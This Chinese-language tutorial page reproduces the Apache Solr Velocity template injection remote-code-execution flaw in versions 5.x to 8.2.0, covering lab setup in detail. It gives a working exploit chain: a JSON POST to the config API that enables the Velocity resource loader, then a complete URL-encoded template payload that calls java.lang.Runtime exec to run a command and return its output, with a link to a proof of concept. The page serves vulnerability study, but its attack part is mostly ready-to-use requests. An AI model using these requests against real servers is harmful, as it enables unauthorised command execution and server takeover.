Apache Solr velocity模板注入RCE漏洞的示例分析

0x01简介

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。Apache Solr velocity模板注入RCE漏洞的示例分析

0x02漏洞介绍

Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令执行漏洞,攻击者利用该漏洞可以直接获取到服务器权限。

0x03影响范围

Apache Solr 5.x – 8.2.0,存在config API版本

0x04环境搭建

安装java8环境,然后下载Solr,下载地址:

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

下载完成后解压然后进入bin目录执行./solr start

unzip solr-8.2.0.zip

Apache Solr velocity模板注入RCE漏洞的示例分析

启动会出现一些警告信息,我们可以通过修改bin下的solr.in.sh文件来进行消除,将SOLR_ULIMIT_CHECKS设置为false

vim solr.in.sh

Apache Solr velocity模板注入RCE漏洞的示例分析

然后再次进行启动 ./solr start root启动失败的话在后面加上加上-force即可Apache Solr velocity模板注入RCE漏洞的示例分析

在浏览器访问http://ip:8983,出现以下界面表示安装成功Apache Solr velocity模板注入RCE漏洞的示例分析

但是发现不能创建coreApache Solr velocity模板注入RCE漏洞的示例分析

我们先手动在/server/solr/目录下创建一个new_core的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到new_core目录下,之后再点创建Apache Solr velocity模板注入RCE漏洞的示例分析

0x05漏洞复现

创建好Core后访问查看该应用config文件是否可以访问

http://ip:8983/solr/new_core/configApache Solr velocity模板注入RCE漏洞的示例分析

Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改整合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。

使用Burp抓取本页面的包,直接构造POST请求,加入以下数据

{

“update-queryresponsewriter”: {

“startup”: “lazy”,

“name”: “velocity”,

“class”: “solr.VelocityResponseWriter”,

“template.base.dir”: “”,

“solr.resource.loader.enabled”: “true”,

“params.resource.loader.enabled”: “true”

}

}

Apache Solr velocity模板注入RCE漏洞的示例分析

接下来我们就可以构造payload来实现RCE

payload:

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr velocity模板注入RCE漏洞的示例分析

POC地址:https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

0x06修复方式

更新到最新版本

关于“Apache Solr velocity模板注入RCE漏洞的示例分析”就介绍到这了,更多相关内容可以搜索亿速云以前的文章,希望能够帮助大家答疑解惑,请多多支持亿速云网站!

文章标题:Apache Solr velocity模板注入RCE漏洞的示例分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/24709

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云亿速云认证作者
上一篇 2022年9月13日 下午11:42
下一篇 2022年9月13日 下午11:43

相关推荐

  • Nmap如何快速上手

    1.安装 https://nmap.org/,不做过多赘述 2.靶机搭建 本文使用靶机为OWASP Broken Web Applications Project https://sourceforge.net/projects/owaspbwa/ 靶机地址1:192.168.154.128 靶机地…

    2022年9月15日
    20000
  • ae预合成快捷键是什么

    ae预合成快捷键: 答:ae预合成快捷键为:ctrl+shift+c。 当用户需要将两个素菜合成一个的时候,需要选这两个,然后直接合成。 ae预合成快捷键操作方法: 1、首先使用快捷键“ctrl+左键”来选择你要合成的素材,然后右击选“预合成”。 2、进入合成界面之后,可以为其创建一个名称。 3、搞…

    2022年8月29日
    2.2K00
  • Word如何截图

    Word截图方法 方法一、快捷键截图 屏幕截图:“Ctrl+Alt+X” 截屏时隐藏当前窗口:“Ctrl+Alt+C” 方法二、软件自带截图功能 1、打开Word界面 2、点击“插入”找到“截屏” 3、截屏后Word中会多出图片就是所截取的内容 “Word如何截图”的内容就介绍到这里了,感谢大家的阅…

    2022年9月8日
    60000
  • cad字体如何添加进去

    cad字体添加进去的方法 1、首先右键CAD的图标,找到属性点击。 2、然后切换到快捷方式栏目。 3、然后打开文件所在的位置。 4、找到Fonts文件夹。 5、Fonts文件夹就是CAD的字体库了; 如果需要添加字体,只需要把下载下来的字体文件复制进这个文件夹就可以了。 到此,相信大家对“cad字体…

    2022年9月15日
    92800
  • windows edge浏览器关闭没有响应如何解决

    edge浏览器关闭没有响应解决方法: 1、进入edge浏览器,点击右上角三个点依次打开“更多工具—>使用Internet explorer打开”。 2、点击右上方的齿轮设置,点击“Internet 选项”。 3、在“常规”中点击“删除”。 4、将下图中的选确认勾选,并点击删除。 5、右击开始,…

    2022年9月8日
    48500
  • 知识库搭建的关键点有哪些

    按照知识管理中心(Knowledge Management Center)的研究和咨询实践,知识库建设必须遵循以下核心关键点:1、界定核心知识;2、控制知识产出;3、知识内容的组织;4、知识的利用;5、知识的创新应用。 当然,在你正式开始搭建知识库之前,较好是有一个合适的在线企业知识库管理系统,我们…

    2022年3月18日
    53400
  • 如何分析Haproxy端口复用

    本文作者:Spark(Ms08067内网安全小组成员) 一、概述 Haproxy是一个使用c语言开发的高性能负载均衡代理软件,提供tcp和http的应用程序代理,免费、快速且可靠。类似frp,使用一个配置文件+一个server就可以运行。优点: 大型业务领域应用广泛 支持四层代理(传输层)以及七层代…

    2022年9月10日
    39900
  • windows edge浏览器高级设置位置在哪

    edge浏览器高级设置找不到: 注:由于edge浏览器更新了新版本,所以高级设置也相应的改变了位置。 1、打开浏览器点击右上角三个点。 2、在下拉任务栏中点击“设置”。 3、在新窗口的左侧点击“高级”即可进入高级设置。 4、在右侧“高级”中进行高级设置。 到此,相信大家对“windows edge浏…

    2022年9月8日
    1.1K00
  • windows cpu占用过高加内存条有没有用

    cpu占用过高加内存条作用解答 cpu占用率高,加内存条不能起到降低cpu作用。 加是与CPU直接交换数据的内部存储器,RAM在计算机和数字系统中用来暂时存储程序、数据和中间结果。 CPU是计算机中负责读取指令,对指令译码并执行指令的核心部件。中央处理器主要包括两个部分,即控制器、运算器,其中还包括…

    2022年9月2日
    25800
  • win8如何取消开机账户登录

    win8取消开机账户登录的方法 1、win+r打开运行界面。 2、对话框输入“netplwiz”,回车确定。 3、然后把“要使用本计算机,用户必须输入用户名和密码”前面的勾去掉。 4、点击确定之后系统会再次弹出一个密码输入框,这个时候我们再次输入密码点击确定就可以了。 关于“win8如何取消开机账户…

    2022年9月24日
    15200
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部